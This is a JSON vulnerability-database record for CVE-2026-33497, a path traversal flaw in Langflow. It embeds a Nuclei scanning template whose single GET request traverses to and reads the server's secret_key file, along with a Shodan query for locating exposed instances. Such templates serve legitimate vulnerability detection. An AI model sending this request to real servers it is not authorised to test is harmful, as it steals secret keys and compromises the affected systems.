{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-33497/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-33497/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-33497/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-33497/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-33497/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-33497"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-33497"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-33497.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2026-33497\n\ninfo:\n  name: Langflow < 1.7.0 - Path Traversal\n  author: xtr0nix\n  severity: high\n  description: |\n    Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.\n  impact: |\n    Attackers can read sensitive secret_key files across directories, potentially compromising system security.\n  remediation: |\n    Update to version 1.7.1 or later.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33497\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-33497\n    epss-score: 0.19584\n    epss-percentile: 0.97265\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"Langflow\"\n  tags: cve,cve2026,langflow,traversal,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/files/profile_pictures/../secret_key\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - len(body) == 43\n          - status_code == 200\n          - contains(content_type, 'application/octet-stream')\n        condition: and\n# digest: 4a0a00473045022013d73de03163a1b8224d998fa606ca53444a9981c79325fc37c529044f2a1192022100a2c4aeb63fa515e8d855124c62810bfefd027b37c2269bb3a780590a50ce631e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-33497"
}